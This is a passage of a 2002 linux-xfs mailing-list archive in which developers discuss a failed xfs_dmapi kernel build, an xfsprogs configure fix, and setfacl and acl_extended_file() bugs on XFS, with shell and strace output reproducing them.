regards -- Lubomir Host Platon software development group http://www.platon.sk/ GnuPG key: http://pauli.fmph.uniba.sk/~8host/gpg.key --/9DWx/yDrRhgMJTb Content-Type: application/octet-stream Content-Disposition: attachment; filename="xfs_dmapi-copilation-error.gz" Content-Transfer-Encoding: base64 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 dqmakhMskfTHf5pA/rx89+6/RY1scXGPAAA= --/9DWx/yDrRhgMJTb-- From owner-linux-xfs@oss.sgi.com Fri Aug 9 13:18:44 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g79KIiRw020280 for ; Fri, 9 Aug 2002 13:18:44 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g79KIikP020279 for linux-xfs-outgoing; Fri, 9 Aug 2002 13:18:44 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g79KIcRw020250 for ; Fri, 9 Aug 2002 13:18:38 -0700 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA44514; Fri, 9 Aug 2002 15:20:43 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-15.corp.sgi.com [134.15.64.15]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id PAA66763; Fri, 9 Aug 2002 15:20:43 -0500 (CDT) Subject: Re: 2.4.19 - can't compile modul xfs_dmapi.o From: Stephen Lord To: Lubomir Host <8host@pauli.fmph.uniba.sk> Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020809201512.GC31073@pauli.fmph.uniba.sk> References: <20020809201512.GC31073@pauli.fmph.uniba.sk> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 09 Aug 2002 15:17:59 -0500 Message-Id: <1028924281.3583.53.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 2002-08-09 at 15:15, Lubomir Host wrote: > Hi! > > I got error mesages during compilation 2.4.19 kernel with > xfs_dmapi.o as modul. Error message is in attachment. In the new code, dmapi is not a seperate module, but part of xfs again. However, it looks like you may have caught cvs at a bad time - or if you are using the split patches it looks like they are broken wrt dmapi. Try a cvs update if you are using cvs. Steve > > Thanks, best regards > > -- > Lubomir Host > Platon software development group > http://www.platon.sk/ > GnuPG key: http://pauli.fmph.uniba.sk/~8host/gpg.key From owner-linux-xfs@oss.sgi.com Fri Aug 9 14:12:14 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g79LCERw021573 for ; Fri, 9 Aug 2002 14:12:14 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g79LCEt0021572 for linux-xfs-outgoing; Fri, 9 Aug 2002 14:12:14 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g79LC7Rw021543 for ; Fri, 9 Aug 2002 14:12:07 -0700 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA44006; Fri, 9 Aug 2002 16:14:13 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-15.corp.sgi.com [134.15.64.15]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id QAA36498; Fri, 9 Aug 2002 16:14:13 -0500 (CDT) Subject: Re: 2.4.19 - can't compile modul xfs_dmapi.o From: Stephen Lord To: Lubomir Host <8host@pauli.fmph.uniba.sk> Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020809204819.GA1299@pauli.fmph.uniba.sk> References: <20020809201512.GC31073@pauli.fmph.uniba.sk> <1028924281.3583.53.camel@laptop.americas.sgi.com> <20020809203454.GA699@pauli.fmph.uniba.sk> <1028925604.3815.2.camel@laptop.americas.sgi.com> <20020809204819.GA1299@pauli.fmph.uniba.sk> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 09 Aug 2002 16:11:30 -0500 Message-Id: <1028927491.3814.9.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 2002-08-09 at 15:48, Lubomir Host wrote: > On Fri, Aug 09, 2002 at 03:40:02PM -0500, Stephen Lord wrote: > > Hmm, building internally here I have dmapi turned on, I am building > > xfs into the kernel. It is possible something is broken between the > > internal source and cvs, Eric who maintains that is out right now > > and I do not know how it all glues together. So right now all I can > > suggest is turning off dmapi for now and seeing if that gives you > > a buildable kernel. > > Yes, turning xfs_dmapi.o off gives me a buildable kernel, but there > is not a solution. ;) Problem must be on your end, I just did a cvs download, and build of xfs with dmapi on without any problems. Can I suggest a clean cvs tree. Steve > > Thanks. > > -- > Lubomir Host > Platon software development group > http://www.platon.sk/ > GnuPG key: http://pauli.fmph.uniba.sk/~8host/gpg.key From owner-linux-xfs@oss.sgi.com Fri Aug 9 17:43:06 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7A0h6Rw028321 for ; Fri, 9 Aug 2002 17:43:06 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7A0h61S028320 for linux-xfs-outgoing; Fri, 9 Aug 2002 17:43:06 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7A0gxRw028291 for ; Fri, 9 Aug 2002 17:43:00 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id RAA01525 for ; Fri, 9 Aug 2002 17:45:47 -0700 (PDT) mail_from (nathans@wobbly.melbourne.sgi.com) Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA06226; Sat, 10 Aug 2002 10:43:52 +1000 Received: (from nathans@localhost) by wobbly.melbourne.sgi.com (SGI-8.9.3/8.9.3) id KAA21633; Sat, 10 Aug 2002 10:43:51 +1000 (AEST) Date: Sat, 10 Aug 2002 10:43:51 +1000 From: Nathan Scott To: Michael Wahlbrink Cc: linux-xfs@oss.sgi.com Subject: Re: TAKE - xfsprogs-2.2.1 Message-ID: <20020810104351.A519884@wobbly.melbourne.sgi.com> References: <200208090612.QAA00314@snort.melbourne.sgi.com> <3D53936D.9010501@gmx.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3D53936D.9010501@gmx.de>; from mimi.ka@gmx.de on Fri, Aug 09, 2002 at 12:03:25PM +0200 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, Aug 09, 2002 at 12:03:25PM +0200, Michael Wahlbrink wrote: > Hi, > Just checked out and tested.... > --> nay! ;-( > the stuff still will be under / Grrr... ok, thanks for trying it out anyway. I'll take another look on Monday. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Fri Aug 9 19:02:00 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7A220Rw029348 for ; Fri, 9 Aug 2002 19:02:00 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7A220jL029347 for linux-xfs-outgoing; Fri, 9 Aug 2002 19:02:00 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7A21sRw029319 for ; Fri, 9 Aug 2002 19:01:54 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id TAA01684 for ; Fri, 9 Aug 2002 19:04:43 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id MAA46551 for linux-xfs@oss.sgi.com; Sat, 10 Aug 2002 12:02:48 +1000 (EST) Date: Sat, 10 Aug 2002 12:02:48 +1000 (EST) From: Nathan Scott Message-Id: <200208100202.MAA46551@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - configure X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Michael &/ Christoph - can you see if this helps? thanks. Date: Fri Aug 9 19:01:37 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/xfs-cmds The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/xfs-cmds Modid: xfs-cmds:slinx:124767a xfsprogs/configure.in - 1.16 xfsprogs/include/builddefs.in - 1.25 - try again with getting configure correct on newer autoconf versions. From owner-linux-xfs@oss.sgi.com Sat Aug 10 22:12:26 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7B5CQRw011845 for ; Sat, 10 Aug 2002 22:12:26 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7B5CQuS011844 for linux-xfs-outgoing; Sat, 10 Aug 2002 22:12:26 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7B5CBRw011814 for ; Sat, 10 Aug 2002 22:12:12 -0700 Received: from erbenson.alaska.net (17-pm1.nwc.alaska.net [209.112.138.17]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7B5ER6h098720 for ; Sat, 10 Aug 2002 21:14:27 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 554393A09 for ; Sat, 10 Aug 2002 21:14:26 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 0122B10293; Sat, 10 Aug 2002 21:14:25 -0800 (AKDT) Date: Sat, 10 Aug 2002 21:14:25 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: setfacl bug Message-ID: <20020810211425.A23502@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="UugvWAfsgieZRqgk" Content-Disposition: inline User-Agent: Mutt/1.2.5i X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --UugvWAfsgieZRqgk Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable I originally noticed this problem start after upgrading to acl 2.0.15, however i thought perhaps it was related to xattr bugs in 2.4.18 so i waited until upgrading to 2.4.19 to see if the problem persists, it does: eb@ash ~/tmp$ mkdir src dst eb@ash ~/tmp$ mkdir src/dir dst/dir eb@ash ~/tmp$ touch src/dir/file dst/dir/file eb@ash ~/tmp$ setfacl -m u:bin:r-- src/dir/file=20 eb@ash ~/tmp$ (cd src ; getfacl --skip-base -R -P .) | (cd dst ; setfacl --= restore=3D-) setfacl: dir/file: Permission denied eb@ash ~/tmp$ getfacl src/dir/file=20 # file: src/dir/file # owner: eb # group: eb user::rw- user:bin:r-- group::r-- mask::r-- other::r-- eb@ash ~/tmp$ getfacl dst/dir/file=20 # file: dst/dir/file # owner: eb # group: eb user::rw- group::r-- other::r-- i use the above method as part of my backup script, it worked with acl 2.0.8 but not with 2.0.15. current kernel is 2.4.19 with split patches, previous kernel was 2.4.18 with split patches. here is the relevant piece of strace output: lstat64(0x10015750, 0x7ffff8c8) =3D 0 SYS_212(0x10015750, 0xffeeb84, 0x7ffff710, 0x84, 0xa0a0a0a) =3D -1 ENODATA = (No data available) stat64(0x10015750, 0x7ffff7a8) =3D 0 SYS_212(0x10015750, 0xffeeb9c, 0x7ffff710, 0x84, 0xff95d20) =3D -1 ENODATA = (No data available) stat64(0x10015750, 0x7ffff7a8) =3D 0 open("/usr/share/locale/en_US/LC_MESSAGES/libc.mo", O_RDONLY) =3D -1 ENOENT= (No such file or directory) open("/usr/share/locale/en/LC_MESSAGES/libc.mo", O_RDONLY) =3D -1 ENOENT (N= o such file or directory) write(2, "setfacl: dir/file: Permission de"..., 37setfacl: dir/file: Permis= sion denied) =3D 37 read(0, "", 4096) =3D 0 exit(0) =3D ? --=20 Ethan Benson http://www.alaska.net/~erbenson/ --UugvWAfsgieZRqgk Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1V8rEACgkQJKx7GixEevyP1ACeP2c0V+6x+ztsCl8YxpCiLt21 BVkAoJhohB2e4AglkZz/jSfin+lLyBCs =CK1H -----END PGP SIGNATURE----- --UugvWAfsgieZRqgk-- From owner-linux-xfs@oss.sgi.com Sun Aug 11 00:43:15 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7B7hFRw012840 for ; Sun, 11 Aug 2002 00:43:15 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7B7hF9K012839 for linux-xfs-outgoing; Sun, 11 Aug 2002 00:43:15 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from malik.slb.nwc.acsalaska.net (malik.slb.nwc.acsalaska.net [209.112.155.41]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7B7h2Rw012809 for ; Sun, 11 Aug 2002 00:43:03 -0700 Received: from erbenson.alaska.net (17-pm1.nwc.alaska.net [209.112.138.17]) by malik.slb.nwc.acsalaska.net (8.11.6/8.11.6) with ESMTP id g7B7jJo78565 for ; Sat, 10 Aug 2002 23:45:19 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 05EAF3A09 for ; Sat, 10 Aug 2002 23:45:17 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id E463E10293; Sat, 10 Aug 2002 23:45:17 -0800 (AKDT) Date: Sat, 10 Aug 2002 23:45:17 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: acl_extended_file() still returning somewhat innaccurate info Message-ID: <20020810234517.A23734@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="YZ5djTAD1cGYuMQK" Content-Disposition: inline User-Agent: Mutt/1.2.5i X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --YZ5djTAD1cGYuMQK Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable when a directory has a simple default acl to say ensure that the primary group always has write permission, files created under that directory still get a system.posix_acl_access attribute (even though its completly unecessary as only the standard permission bits are used). this causes acl_extended_file() to claim a file has an extended acl when in fact it does not: eb@ash ~$ mkdir defacl eb@ash ~$ setfacl -dm u::rwx,g::rwx,o::r-x defacl eb@ash ~$ getfacl defacl/ # file: defacl # owner: eb # group: eb user::rwx group::r-x other::r-x default:user::rwx default:group::rwx default:other::r-x eb@ash ~$ touch defacl/foo eb@ash ~$ getfacl defacl/foo # file: defacl/foo # owner: eb # group: eb user::rw- group::rw- other::r-- eb@ash ~$ getfacl --skip-base defacl/foo eb@ash ~$ ls -l defacl/foo -rw-rw-r--+ 1 eb eb 0 Aug 10 23:40 defacl/foo eb@ash ~$ getfattr -m . defacl/foo # file: defacl/foo system.posix_acl_access eb@ash ~$ ideally XFS would not unecessarily create this attribute when the standard permission bits are sufficient, this would perhaps save some small ammount of disk space as well. failing that is it possible to fix acl_extended_file() to notice and ignore superflurious posix_acl_access attributes that are doing nothing but duplicating the standard mode bits? --=20 Ethan Benson http://www.alaska.net/~erbenson/ --YZ5djTAD1cGYuMQK Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org 